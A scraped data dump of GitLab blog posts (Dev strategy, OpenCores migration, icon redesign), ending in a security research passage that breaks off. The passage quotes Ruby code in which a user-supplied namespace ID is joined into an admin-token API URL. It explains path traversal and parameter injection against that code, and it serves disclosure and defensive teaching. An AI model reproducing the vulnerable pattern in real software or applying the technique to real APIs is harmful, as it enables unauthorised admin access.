fine-grained permissions.\n* Logs for everything that’s done within GitLab and allow those events to be accessible via the API and UI.\n* Alerting on GitLab audit events.\n\n### Project management morphs into product management\n\nProduct managers often struggle with answering the question, \"Is the product or feature I just launched successful?\". There are many sensing mechanisms to help answer this question, including revenue, users, customer feedback, NPS, etc., but there is currently no product that helps product managers exhaustively manage the product development lifecycle from end to end. Many products assist with planning, delivery of code, and deployment, but feedback and iteration are equally as important to product managers as shipping the first iteration. Getting the first iteration out is traditionally celebrated, but is only one of many steps to true product development lifecycle management.\n\nImagine an experience where product managers can log in and view the \"health\" of their entire portfolio on one dashboard. It is clear which features have the most value to customers (and by extension to the business) as measured by key metrics, assisting PMs with priortization activities. PMs can quickly identify features or products within their portfolio that need more attention and drill into them, identifying the correct next action to take, whether it's iteration on the feature or perhaps sunsetting it. PMs can quickly create an issue for the next iteration, use version control features, view security incidents, respond to customer feedback, drill down into analytics, control A/B tests of the feature, and even interact with users of the feature or product directly by creating ad-hoc surveys or questions for users to answer. Additionally, the experience should allow for ROI analysis and tracking of the ROI after capital has been expended.\n\nWithin three years, project management tools will begin evolving to provide this experience and help PMs answer tough product questions. These tools will also assist with measuring and predicting value to the organization, if a specific action is prioritized by the PM. The ideal solution most likely uses data science and predictive analytics to assist product managers with decisions both before and after a feature is launched.\n\nAs examples, GitLab will provide:\n\n* Feature management capabilities, including the ability to manage a feature as an object inside of GitLab that lives on after an issue is closed.\n* An experience where PMs can quickly analyze the health of all relevant features.\n* A framework that helps PMs with prioritization decisions.\n* A framework for ROI analysis and measurement.\n\n## Our three-year strategy\n\nIn three years, the Dev section market will:\n\n* Centralize around Git as the version control of choice for not only code, but for design assets, gaming, silicon designs, and AI/ML models.\n* Have a market leader emerge in the value stream management space. Currently, the market is fragmented with most players focused on integrations into various DevOps tools.\n* Adopt a mindset shift from project management to product management.\n* Recognize the value of a single platform for all software creation activities, including product management.\n* See an uptick in startups and applications being built on the backs of a \"no code\" framework\n\nConsidering the evolution of the Dev section market, in three years, GitLab will:\n\n* Provide a next-generation, highly performant Git-backed version control system for large assets, such as ML models. Our goal in three years should be to host the most repositories of these non-code assets.\n* Emerge as the leader in VSM and be recognized in the industry by customers and analysts as such. Our goal in three years should be to provide the best insights into the product development process that no other tool can come close to, as we have a [unified data model](https://www.ca.com/en/blog-itom/what-is-a-unified-data-model-and-why-would-you-use-it.html) due to GitLab being a single platform.\n* Develop an industry-leading product management platform where multiple features and products can be measured and managed easily.\n* Research and potentially add capabilities for \"no code\" workflows.\n\n## Our one-year plan: What’s next for Dev\n\nOver the next 12 months, each stage in the Dev section will play an integral part in this strategy.\n\nPlease see the [categories page](/handbook/product/categories/#dev-section) for a more detailed look at Dev's plan by exploring `Strategy` links in areas of interest.\n\n### Manage\n\n**Enterprise readiness:** GitLab must be seen as a platform that enterprises can use out-of-the-box for both GitLab.com and self-managed deployments. We're doing this by focusing on improvements in several key areas:\n\n  * Enterprise-grade authentication and authorization. Critical for large organizations managing users at scale, we're focused on investing in SAML SSO that works across a range of identity providers and automates member management.\n  * Improving tools that help compliance-minded organizations thrive. GitLab makes it easy to contribute, but administrators should have comprehensive and consistent views on instance activity. We'll improve audit management to a lovable category and introduce dashboarding and alerting to help tell your compliance story to stakeholders. We'll also solve a pronounced need for fine-grained member permissions.\n\n**Lowering time to production for our customers:** Improvements to productivity and code analytics over the next 12 months will allow our customers to drill down and identify sources of waste in their existing process. Within 12 months, GitLab customers will be able to answer how much their time-to-production metrics have improved.\n\n**A great import experience:** Few instances start from scratch – for most, one of the earliest tasks for a GitLab administrator is importing information from outside the application. We'll invest heavily in a strong import user experience and build bespoke importers for key competitors like Jenkins and Jira. We'll also expand on the capabilities of our existing importers, with a focus on making GitLab.com migration easy.\n\n### Plan\n\n\n\n**Kanban boards**: Current project management tools are capable, but suffer from usability. Trello made significant gains by focusing on the user experience. Unfortunately, Trello chose to be a general tool which left some software teams wanting features designed specifically to help with software development and delivery. GitLab has an opportunity to re-design Kanban boards for software teams – think of how Jira could work if it were designed by Trello as opposed to the other way around. Our boards need to evolve to be a primary interface, a complete WYSIWYG document view where everyone who is looking on board X is seeing the same thing (updated in real time), with rich interaction without having to leave the board. This may include changes such as having short summaries, first-class checklists, quick filters, etc. In addition, boards need to focus on common workflows of software teams such as issue triage, daily workflow, sprint planning, quarterly planning, executive reporting, etc.\n\n**Importing from Jira without losing required data**: In the next 12 months, we will deliver enforced workflows, a better roadmap experience, cumulative flow diagrams, and improvements to boards in order to enable a better planning and project management experience.\n\n**Enhancing portfolio and project roadmaps**: Provide easy-to-use, cross-team roadmaps at the portfolio, project, and epic level that allow users across the organization to see how work is progressing and identify dependencies and blockers. Organize and prioritize work though dynamic roadmaps in real time.\n\n**Easy top-down planning**: Enhanced portfolio management experience allowing customers to start planning from the top: Creating initiatives, projects, and epics while laying them out on a roadmap prior to the creation of issues and milestones. Provide analytics at each level, and allow linking of each object to provide deeper dependency mapping across multiple teams and projects. Enable users to create strategic initiatives and assign work, impact, and resources to each to help them make the right business decisions. Additionally, in order for our users to get more value out of Plan, we will be implementing [Epic features to be more aligned with our buying tiers](https://gitlab.com/groups/gitlab-org/-/epics/1887).\n\n**Reporting and analytics**: Provide dashboarding and analytics for project and portfolio management, allowing business to track and communicate progress on work in-flight, capacity of teams and projects, and overall efficiency across their full portfolio.\n\n**Requirements management**: Many regulated customers want to use GitLab for requirements mapping, dependencies, and process management. GitLab will provide these capabilites in a modern-first way.\n\n### Create\n\n**Realtime:** It's time to fully embrace realtime. Many parts of GitLab update in near real time, but not everything does, and unfortunately some of the parts that are left out are critical to a great experience. Realtime kanban boards is mentioned above in Plan, but within Create, there's tons of opportunity for realtime enhancements. Areas we are thinking about are real time editing of code in the Web IDE for live coding and real time editing of issue/MR descriptions and comments.\n\n**Git availability and performance:** Git is a critical component in the deployment process when practicing [Continuous Deployment](https://docs.gitlab.com/ee/ci/introduction/#continuous-deployment). As such, service degradations or outages that prevent access to Git cannot be tolerated. To this end, making [Gitaly highly available](https://gitlab.com/groups/gitlab-org/-/epics/842) is of the utmost importance, and secondarily, improve the handling of extreme read pressures exterted by highly parallelized CI loads that cause performance degradations.\n\n**Enhancing the code review experience:** In the next 12 months, we must focus code review to be more performant and intelligent. We will do this by investing in [performance improvements](https://gitlab.com/groups/gitlab-org/-/epics/1417), adding additional code review functionality such as jump to definition, identifying references, displaying function documentation and type signatures, and adding support for first-class reviewers. Code review should be an \"IDE like\" experience.\n\n**Making large files “just work” in Git:** To gather more market share from industries that currently use Perforce or SVN, we must invest in making the large-file experience in Git excellent. It should “just work” without configuration or specialized hardware.\n\n**Investing in our Wiki product:** Many customers currently use Wikis for knowledge bases and project management activities. Our first step in making the GitLab Wiki more competitive is making wikis available at the group level and enhancing markdown support.\n\n**Focusing on the gaps in the design management workflow:** Most designers use a sketch or prototyping tool already, but version controlling assets alongside code and providing a workflow to compare those assets to what front-end teams ship is a gap in the market. We are uniquely poised to capitalize on this gap – think\nvisual review apps checked against the mockups checked into the repository. Additionally, we will continue to make improvements to the collaboration aspect of designs and consider other features such as simple sketch functionality inside of issues and MRs.\n\n**Enabling easier contributions to GitLab:** Contributing to GitLab requires users to set up and run the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit) locally. This is cumbersome and typically requires multiple hours of debugging with senior engineers. While the process of streamlining the GDK locally should be advanced, GitLab should also provide the GDK as part of the Web IDE experience. Allowing contributors to quickly spin-up feature branches should encourage more contributions from non-engineering GitLab team members, as well as the wider community.\n\n**Bolstering the editor experience:** Our current Web IDE experience is useful for small changes, but has not been useful as an actual replacement for a local IDE. Over the next year, we will evaluate the impact of adding a container-based IDE solution, while continuing to streamline our editing experience, potentially by sunsetting the ACE editor. We will also improve the IDE experience with self-managed, client-side evaluation, server-side evaluation, and live-coding features for pair programming.\n\n**Creating a content management experience:** Projects in GitLab aren't always leveraged by pure engineering teams. Groups like marketing, sales and others often have needs for projects that more closely resemble marketing websites or documentation. While [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) enables the deployment of many popular static site generators, the editing experience is still geared toward technical users. Enabling a more WYSIWYG content management editor will help support non-technical personas use of GitLab for non-engineering driven projects.\n\n### What we're not doing\n\nChoosing to invest in these areas in 2020 means we will choose not to:\n\n* **Invest in features that help companies answer, “Am I doing the right activities?”.** Answering this question is something we will focus on in years two and three of the VSM plan.\n* **Treat ML models as first-class citizens in GitLab.** Instead, we will focus on getting large assets to become performant via improvements to Gitaly. Once this is completed, we will focus on ML models.\n* **Provide recommendations where customers can improve their efficiency in the DevOps lifecycle.** This will likely require comparisons amongst many GitLab users and an AI engine to make intelligent recommendations. These improvements will come in years two and three of the VSM plan.\n\n### Other areas of investment consideration\n\n* Data science: We should consider investment into a data science team that can assist with recommendations for Plan and VSM features.\n* [Dark themes](https://gitlab.com/gitlab-org/gitlab-ee/issues/14531): We should consider prioritizing a dark theme for both GitLab, as well as the Web IDE/editing experience. This is an expected feature of most modern development tools.\n* Engineering: Most Dev groups should see 50-100% headcount growth in order to make our Dev categories lovable.\n* AI: We should consider beginning to invest into AI as a solution for recommendations – for example, recommended assignees, labels, etc.\n\n## Survey\n\nNow that you're heard our strategy and plans, we'd love to hear your feedback. Please click below for a quick two-question survey.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nHelp shape our Dev strategy - [Take our survey](https://docs.google.com/forms/d/e/1FAIpQLSdfZTpqNYilD-bzcRKPPo5AIVZq-k5GrYd_thr21iXcreA-oQ/viewform)!\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nCover Photo by [Joanna Kosinska](https://unsplash.com/@joannakosinska) on [Unsplash](https://unsplash.com/).\n{: .note}\n",[676,754],{"slug":26031,"featured":6,"template":678},"dev-strategy-review","content:en-us:blog:dev-strategy-review.yml","Dev Strategy Review","en-us/blog/dev-strategy-review.yml","en-us/blog/dev-strategy-review",{"_path":26037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26038,"content":26044,"config":26051,"_id":26053,"_type":16,"title":26054,"_source":17,"_file":26055,"_stem":26056,"_extension":20},"/en-us/blog/welcoming-opencores-to-gitlab",{"title":26039,"description":26040,"ogTitle":26039,"ogDescription":26040,"noIndex":6,"ogImage":26041,"ogUrl":26042,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26042,"schema":26043},"OpenCores come to GitLab","OpenCores moves to GitLab to accelerate digital design flow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669768/Blog/Hero%20Images/gitlab-opencores-oliscience.jpg","https://about.gitlab.com/blog/welcoming-opencores-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"OpenCores come to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrea Borga\"},{\"@type\":\"Person\",\"name\":\"David Planella\"}],\n        \"datePublished\": \"2019-12-03\",\n      }",{"title":26039,"description":26040,"authors":26045,"heroImage":26041,"date":26048,"body":26049,"category":299,"tags":26050},[26046,26047],"Andrea Borga","David Planella","2019-12-03","\n\n[OpenCores](https://opencores.org), the largest and most popular Gateware\ndevelopment community with over [300K members and 1200+\nprojects](https://opencores.org/about/statistics), is moving to GitLab. This\nis excellent news all around: as a catalyst for accelerating IP core development\nand for introducing GitLab to innovative uses in the scientific and electronic\ndesign communities.\n\n## Gateware and OpenCores\n\n![Gateware design flow diagram](https://about.gitlab.com/images/blogimages/welcoming-opencores-to-gitlab/gateware_flow.png \"Gateware flow\")\n\nOpenCores is a repository of reusable units of logic, open to use as building\nblocks for the electronics design community. These units are most commonly known as\n[Intellectual Property (IP)\ncores](https://en.wikipedia.org/wiki/Semiconductor_intellectual_property_core),\nand are described (coded), in [Hardware Description\nLanguage](https://en.wikipedia.org/wiki/Hardware_description_language) (HDL)\nfor the most part.\n\n### What is gateware?\n\nIn the semiconductor industry, these are the basic constituents of advanced\ndigital designs, collectively known as\n**gateware**: A layer in the electronics development chain positioned in\nbetween _hardware_ (such as a Printed Circuit Board – PCB – or a packaged chip),\nand _firmware_ (a set of decoded and executed instructions for a microprocessor).\n\n### What is OpenCores?\n\nThe [OpenCores portal](https://opencores.org) hosts the source code for a\nmultitude of digital gateware projects. In its more than 20 years of web history, it has\nevolved into a platform that enables its user community to discover, showcase,\nand manage such projects, including revision control for [source code](/solutions/source-code-management/).\n\nThe target devices for gateware have historically been\n[FPGA](https://en.wikipedia.org/wiki/Field-programmable_gate_array) (Field\nProgrammable Gate Arrays) and\n[ASIC](https://en.wikipedia.org/wiki/Application-specific_integrated_circuit)s\n(Application Specific Integrated Circuits), which allow building a vast range\nof hardware digital electronics appliances. These are often described as\n[SoC](https://en.wikipedia.org/wiki/System_on_a_chip) (System on a Chip).\n\nIn recent years, the OpenCores portal has been particularly focused on hosting FPGA\napplications, with the intention to enlarge the pool of available cores based\non emerging hardware description methods, such as\n[HLS](https://en.wikipedia.org/wiki/High-level_synthesis) (High-level\nsynthesis).\n\nOpenCores is also the place where digital designers meet to showcase, promote,\nand talk about their passion and work. They do this through forums, news feeds,\nand much more!\n\n### Who maintains the OpenCores portal?\n\n[Oliscience](http://oliscience.nl/) (open logic interconnects science) act as\nthe stewards of the OpenCores community and its portal. Oliscience is an\ninitiative originated from the\n[CERN](/customers/cern/)-Nikhef Business Incubation\nCentre (CERN-BIC@Nikhef), and is [supported](https://opencores.org/partners) by\n[Nikhef](https://www.nikhef.nl/en/), the Dutch National Institute for Subatomic\nPhysics, and [ASTRON](https://www.astron.nl/), the Netherlands Institute for\nRadio Astronomy.\n\nAs part of the stewardship charter, Oliscience is committed to maintaining and\nsupporting the OpenCores portal. This mission involves globally promoting its\ncommunity, fostering the use of open standards and practices, actively\ndeveloping the portal infrastructure and content, and more.\nThe [Wishbone bus](https://en.wikipedia.org/wiki/Wishbone_(computer_bus)),\nused throughout OpenCores designs, is one of the most well-known examples.\n\n## Leading change and embracing the DevOps culture for Gateware development\n\n[Moore's law](https://en.wikipedia.org/wiki/Moore%27s_law) is slowing down, and\nthe semiconductor industry is starting to experience a new resurgence. With a\nwave of new opportunities arising, FPGA is one of the key technologies that\nplay a crucial role in the future of computing architectures.\n\nThe barrier to entry for becoming a gateway developer is fairly higher than learning a new programming language as a software developer. As\nsuch, the digital electronics industry is continually striving to simplify\nthe approach to programmable logic.\n\nOpen Source IP Cores play a significant role in this goal. They unlock a\nvast knowledge pool that enables new gateware developers to start hacking on\nnew projects straight away. They can use existing solutions to draw knowledge\nvery quickly.\n\nIP Cores strive for quality, and quality calls for a structured way to assess\nthe content of a code bundle. This is where Continuous Verification (CV) comes into\nplay.\n\nIn the context of programmable logic, CV is a\nworkflow in which Gateware defined in a [HDL](https://en.wikipedia.org/wiki/Hardware_description_language)\nruns against standardized testbenches and benchmarked to assess and rank its\nquality. Full coverage for test cases and failure corner cases is guaranteed.\n\n## Accelerating digital design with GitLab\n\nThe OpenCores community leaders have strong ties to [CERN](https://home.cern/)\nand the [European Space Agency](https://www.esa.int/). Both are leading\nresearch organizations committed to supporting their respective scientific\ncommunities, which use GitLab for internal development.\n\nBoth organizations and the electronics industry in general are particularly\ninterested in a better assessment of the quality of gateware products, as their\nusage in industrial and commercial applications continues to increase at an\naccelerated rate. When you launch a satellite into space, you can't just press\nthe reset button if there is a bug!\n\nWhile talking to those teams, and hearing the preliminary exploration of\nimplementing CV practices into gateware design, [GitLab's integral CI/CD\nfeatures](/solutions/continuous-integration/) seemed a natural fit to pioneer the adoption of a DevOps approach to\ndigital design.\n\nSource control was also a feature that would enable engineers to share and\ncollaborate on their code in the public space. In summary, the benefits of a\nsingle application for the entire DevOps cycle, with the ultimate goal of\nreducing the gateware design cycle time made the decision easy.\n\nThe next objective for the OpenCores team is to implement a CV process in the\nOpenCores portal, starting with FPGA and until ASICs. It's an ambitious one,\nwhich requires ambitious partners.\n\nAndrea Borga, Oliscience CEO mentions:\n> we have a very strong scientific background, and we love to make experiments…\n> all the time! Exploring new ideas, and striving for impeccable execution are\n> embedded in our engineering way of thinking. You need innovative and\n> ambitious partners to achieve equally innovative and ambitious goals. This\n> is why we do what we do, and why we firmly believe GitLab's vision and spirit\n> strongly align with our own. This is how we chose to go with them.\n\nGitLab is thrilled to start working with the OpenCores team, to contribute to\nthat goal and welcoming them to a community that leading Open Source projects\nsuch as Drupal, GNOME, KDE, Debian, Freedesktop and many more are already a\npart of.\n\n[Cover image](https://www.flickr.com/photos/130561288@N04/39116042294/) by\n[Fritzchens Fritz](https://www.flickr.com/photos/130561288@N04/),\nlicensed under [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/)\n{: .note}\n",[4103,110,815,736,267],{"slug":26052,"featured":6,"template":678},"welcoming-opencores-to-gitlab","content:en-us:blog:welcoming-opencores-to-gitlab.yml","Welcoming Opencores To Gitlab","en-us/blog/welcoming-opencores-to-gitlab.yml","en-us/blog/welcoming-opencores-to-gitlab",{"_path":26058,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26059,"content":26065,"config":26070,"_id":26072,"_type":16,"title":26073,"_source":17,"_file":26074,"_stem":26075,"_extension":20},"/en-us/blog/gitlab-iconography-where-mvc-meets-visual-design",{"title":26060,"description":26061,"ogTitle":26060,"ogDescription":26061,"noIndex":6,"ogImage":26062,"ogUrl":26063,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26063,"schema":26064},"GitLab Iconography: MVC meets visual design","A minimum viable change approach for a key UI element","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680884/Blog/Hero%20Images/mvc-icon-banner.png","https://about.gitlab.com/blog/gitlab-iconography-where-mvc-meets-visual-design","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Iconography: MVC meets visual design\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeremy Elder\"}],\n        \"datePublished\": \"2019-12-02\",\n      }",{"title":26060,"description":26061,"authors":26066,"heroImage":26062,"date":26067,"body":26068,"category":299,"tags":26069},[4182],"2019-12-02","\n\nAnyone who uses GitLab knows how extensively we use icons in our product. Because information density is high and screen real estate is at a premium, we use them for everything from indicating status and critical actions to navigation and label clarity. In short, icons have a comparatively large impact for such a visually small UI element.\n\nIn traditional product development, it’s common to incrementally update features and functionality, and then save visual updates for major version bumps or larger brand updates. But we already had a collection of issues (the medium for collaborating on ideas and planning work in GitLab) telling us change was needed, so we wanted to address that without the dependency of a new version or brand update spurring us on.\n\nTrue to GitLab fashion, this meant we could exercise our [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency) value with a [minimum viable change](https://handbook.gitlab.com/handbook/values/#move-fast-by-shipping-the-minimum-viable-change) (MVC) approach – iteratively making visual updates while providing continuous improvement.\n\n## Minimum viable change\n\nAt GitLab, we’re comfortable iterating and releasing designs similar to how our development counterparts iterate on functionality. We still research and test our solutions, but we have the freedom to quickly learn and iterate because of our constant exposure to real use. Our end goal is always to have a [beautiful, guiding, and functional interface](https://youtu.be/Z_DpZZyxwEA?t=1216).\n\nAt the time of this writing, we have 277 custom SVG icons in our library. There are also more than [800 instances](https://leipert-projects.gitlab.io/is-gitlab-pretty-yet/icons/) of FontAwesome icons in the product. We reference icons in HAML, HTML, JavaScript, Ruby, and Vue. A wholesale change to use a new set of custom icons across the entire product would be a massive undertaking. Incremental changes are a must.\n\nAs it turns out, one of our weaknesses is also a strength. With our UI already mixing icons from two different sources and two different styles, we can concern ourselves less with near-term differences and instead focus on making the right changes moving forward.\n\n![Pipelines row that has both SVG and FontAwesome icons together](https://about.gitlab.com/images/blogimages/mvc-icon-mixed.png){: .shadow.center}\nA row in the Pipelines section that contains SVG and FontAwesome icons.\n{: .note.text-center}\n\n## Laying the foundation\n\nOne of our values is to create a distinct GitLab personality that is strong and consistent. Iconography offers a powerful visual cue to users and should reflect our particular sense of style. (This is the opening statement in our new [iconography documentation](https://design.gitlab.com/product-foundations/iconography).)\n\nWe decided that the MVC with the greatest initial impact was updating the icon documentation itself. To reflect the promise of a strong and consistent presence within the product, we had to offer docs that would help fix problems in meaningful and sustainable ways.\n\nTo be sure we were iterating in the right direction, we established guidelines that considered the entire icon ecosystem, but still allowed us to make quick changes. At the same time, we also overhauled our [iconography documentation](https://design.gitlab.com/product-foundations/iconography) to make icon updates and creation as self-help as possible.\n\n**Guidelines**\n* Each icon must have a clear meaning or metaphor in context.\n* SVGs are optimized for performance and accessibility.\n* Visual changes are minor first, only updating to align with new documentation.\n* A change in metaphor requires validation and/or usability testing.\n* Icons are categorized in Sketch for easier use.\n* Unused icons are deprecated.\n* Icons are added only when existing ones can’t be used.\n\n\n> One of our values is to create a distinct GitLab personality that is strong and consistent. Iconography is a powerful visual cue to the user and should reflect our particular sense of style.\n\nWith directional guidelines and documentation in place, we turned to specific constraints that we could leverage in practice.\n\n## Embracing constraints\n\nWho doesn’t love a good set of constraints? We definitely have some.\n\nPerhaps the largest (pun intended), was the small 16×16 pixel grid used for each icon. We wanted to use a fairly common 24×24 pixel grid with strokes set to 2 pixels, so that we could include more fidelity in each icon, scale more freely, and stay within our base-8 pixel grid. When scaled down to our most common size (16 pixels), the strokes would effectively be 1.5 pixels, which looks great on a HiDPI screen. It's just enough weight to stand out and not feel too bold, although they’re blurry on standard definition due to the half pixels.\n\n![Visual guidelines from the icon documentation](https://about.gitlab.com/images/blogimages/mvc-icon-docs.png){: .shadow.center}\nExamples of visual guidelines from the icon documentation\n{: .note.text-center}\n\nOur analytics show that many users are still on non-HiDPI screens, and while we wanted to push for a new standard, we weren’t ready to make the leap until a majority of users could experience crisp icons in the UI. So, the best choice was to keep the 16 pixel grid and have crisp icons for all.\n\n\n\nAnother key constraint was stroke weight. Within an even-pixel grid, a 1 pixel stroke can never be centered *and* aligned to the pixel grid, so we chose to stick with a 2 pixel stroke weight rather than offset some icons. This meant less room for fidelity in the small space, and as a result we aimed for the least amount of detail that provided the most concept clarity.\n\nBy nature, other constraints exist in the documentation that deal primarily with stylistic elements.\n\n## The process\n\nWork at GitLab starts with an issue or merge request, so we can tackle things in an efficient, async way. Since there were already many icon issues in existence, we created an [epic](https://gitlab.com/groups/gitlab-org/-/epics/1557) to collect them and added new issues to it. As common themes emerged, we knew that updating documentation would be the place to start, as it gave us something to point back to for current issues and something to stand on for new work.\n\nUpdating nearly 300 icons takes time, so we divided them into separate batches where related groups, like everything associated with documents, were updated at the same time. Even though, at this step, style might differ between groups, we were still consistent within the group itself.\n\nEvery batch of icons went through an async group review, where we offered feedback and made adjustments over the course of several days. At the close of the review period, we created a merge request to bring the updates into the SVG library. Then, we could test and evaluate the new icons one last time through a [review app](https://docs.gitlab.com/ee/ci/review_apps/) before releasing them into production.\n\nIn each batch, we added a few new icons and deprecated others. We also released updated versions of our [Sketch UI Kit](https://gitlab.com/gitlab-org/gitlab-design/blob/master/doc/sketch-ui-kit.md) concurrently with the product changes.\n\nNot all icons followed this exact process. For example, concepts like epics and issues are fairly abstract, and we really want to ensure their visual representation is both meaningful and proprietary. There’s an entire subgroup that is just for the status of these, so getting them right is crucial. These icons are currently undergoing three rounds of usability testing, and testing will continue to be an important step in our process.\n\n## Early results and next steps\n\nAfter working through hundreds of icons, five batches of updates, and several rounds of usability testing, reactions thus far have been positive and productive. Here are a few worth noting:\n\n* Several users thought we added a new feature that adds a pre-formatted markdown table in our text editor. The feature has been there for some time, but the previous icon didn’t look enough like a table. If you’ve ever had to manually create a table in markdown, then you know how helpful this feature is. Imagine all the time saved!\n* One of our developers [created a tool](https://leipert-projects.gitlab.io/is-gitlab-pretty-yet/icons/) to audit all instances of FontAwesome icons in the product, so that we can better audit changes and replace instances with our SVGs. He also added the ability in our [SVG Previewer](http://gitlab-org.gitlab.io/gitlab-svgs/?color=indigo) to view icons in different color schemes, so that we could identify issues (like style or color artifacts) in the SVG code and explore theming.\n* Many “is this known” questions are being asked about icons in our Slack channels. This is useful, because they point out where incorrect icons have previously been used and where style differences are too glaring between our SVGs and FontAwesome. That's exciting, because visual updates are helping us prioritize friction in the product caused by icons.\n\n![Before and after of editor icons](https://about.gitlab.com/images/blogimages/mvc-icon-table-ba.png){: .shadow.center}\nBefore (top) and after of text editor icons\n{: .note.text-center}\n\nBecause this was an MVC, the work isn’t done yet. Here are some things to watch for in the coming months:\n\n* Fewer FontAwesome icons in use, with the end goal of only using our own SVG library.\n* Additional grids for specific contexts where scaling icons isn’t ideal.\n* Assessing the effectiveness of documentation and adjusting accordingly.\n* Evaluating instances where the same icon is used for different actions by considering context and performing usability testing where needed.\n* Creating a better and more consistent naming system for icons in Sketch and the SVG library.\n* Conducting more usability testing to ensure metaphors bridge cultural or experiential gaps.\n\nLastly, you can contribute too! If you have anything you’d like us to consider with regard to icons, [create a new issue](https://gitlab.com/gitlab-org/gitlab/issues/new) and tag the GitLab UX Department (@gitlab-com/gitlab-ux). Also, if you’d like to be a part of our testing efforts at any level, be sure to sign up for our [GitLab First Look](/community/gitlab-first-look/) program.\n\n",[2248,2250,2249],{"slug":26071,"featured":6,"template":678},"gitlab-iconography-where-mvc-meets-visual-design","content:en-us:blog:gitlab-iconography-where-mvc-meets-visual-design.yml","Gitlab Iconography Where Mvc Meets Visual Design","en-us/blog/gitlab-iconography-where-mvc-meets-visual-design.yml","en-us/blog/gitlab-iconography-where-mvc-meets-visual-design",{"_path":26077,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26078,"content":26083,"config":26088,"_id":26090,"_type":16,"title":26091,"_source":17,"_file":26092,"_stem":26093,"_extension":20},"/en-us/blog/shopping-for-an-admin-account",{"title":26079,"description":26080,"ogTitle":26079,"ogDescription":26080,"noIndex":6,"ogImage":11237,"ogUrl":26081,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26081,"schema":26082},"Shopping for an admin account via path traversal","How to exploit a path traversal issue to gain an admin account","https://about.gitlab.com/blog/shopping-for-an-admin-account","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Shopping for an admin account via path traversal\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2019-11-29\",\n      }",{"title":26079,"description":26080,"authors":26084,"heroImage":11237,"date":26085,"body":26086,"category":674,"tags":26087},[11242],"2019-11-29","\nGitLab [security researchers](/handbook/security/#security-research) conduct internal testing against GitLab assets and against [free and open-source software (FOSS)](https://en.wikipedia.org/wiki/Free_and_open-source_software) critical to GitLab products and operations to ultimately make our product and company more secure.\n\n## Introduction\n\nMost web applications are not standalone – they depend on other applications in order to fulfill their purpose. Calls to other web apps can be done in various ways depending on the other side's API. In this post, we'll discuss calls to REST APIs and some security implications when calling those REST endpoints.\n\nRepresentational State Transfer (short: [REST](https://de.wikipedia.org/wiki/Representational_State_Transfer)) is an HTTP-based protocol that uses different HTTP methods (e.g. GET/POST/PUT/DELETE) to interact with a remote API endpoint.\n\nLet's take a look at a very specific (GitLab) example to get an impression of what can go wrong when two web apps talk REST to each other.\n\n## GitLab's Customers Portal\n\nAt [customers.gitlab.com](https://customers.gitlab.com) our GitLab community can shop for various GitLab subscriptions and also buy CI minutes. The `customers` source code is non-public, so I will just use a few relevant snippets as examples to illustrate the issue.\n\nThe `customers` portal needs to interact with the `gitlab.com` API in order to let `gitlab.com` know things like how many CI minutes you've bought. The HTTP calls to the `gitlab.com` API are implemented using [HTTParty](https://github.com/jnunemaker/httparty).\n\nFor PUT requests this looked like:\n\n```ruby\n    def put(path, *args)\n      options = valid_options(args)\n\n      HTTParty.put(full_url(path), options)\n    end\n\nprivate\n\n    def full_url(path)\n      URI.join(BASE_URL, path).to_s\n    end\n```\n\nLet's look at the caller to the `put` method:\n\n```ruby\nresponse = Client::GitlabApp.put(\"/api/v4/namespaces/#{@namespace_id}\", body: @attrs.to_json, token: API_TOKEN)\n```\n\nThe above line of code is the place where the `Client::GitlabApp` is used to update a subscription on `gitlab.com`; this call occurs when a customer moves the subscription from one namespace to another. The parameter `@namespace_id` is user controlled but the payload of the PUT operation (`body: @attrs.to_json`) is not. The `API_TOKEN` is an access token to `gitlab.com`'s API with `admin` privileges. The threat which arises from the call to `Client::GitlabApp.put` is the possibility to traverse the path on `gitlab.com`'s API by supplying a `@namespace_id` of `../other/path` and thus being able to reach other API endpoints than the intended `/api/v4/namespace/`.\n\nThis type of attack, namely a [path (or directory) traversal attack](https://en.wikipedia.org/wiki/Directory_traversal_attack), is a very common and generic issue. It can occur basically everywhere that path parameters are being plunged together (e.g. file systems access or unpacking of archive files).\n\n## Impact\n\nIt gets really interesting when we think about the impact and exploitation of this issue. Since we do not control the payload (`@attrs.to_json`) of the PUT operation one could think that the impact of this traversal is quite limited. In REST the PUT operation is being used to update existing resources. Usually the to-be-updated attributes of the resource are sent in the body of the HTTP request, just like the JSON encoded `@attrs` in our case.\n\nThe API endpoint on `gitlab.com` is implemented using [Grape](http://www.ruby-grape.org/) which implements [parameter handling](https://github.com/ruby-grape/grape#parameters) in a way that any PUT/POST parameters will be merged with the path-based GET parameters into the `params` hash. This means that besides the `body: @attrs.to_json` payload in the PUT operation we could, using the unsanitized `@namespace_id` parameter, not only traverse API endpoints using `../` sequences, we could also inject attributes on the API endpoint by appending `?some_attribute=our_value` to `@namespace_id`. So, in addition to the path traversal, we can also inject arbitrary arguments on the API endpoint. In combination the two steps can enable quite powerful attacks.\n\n## Exploitation\n\nTaking the above building blocks of path traversal and attribute injection in a request using an `admin` token on the `gitlab.com` API, we have a quite powerful and universal attack at 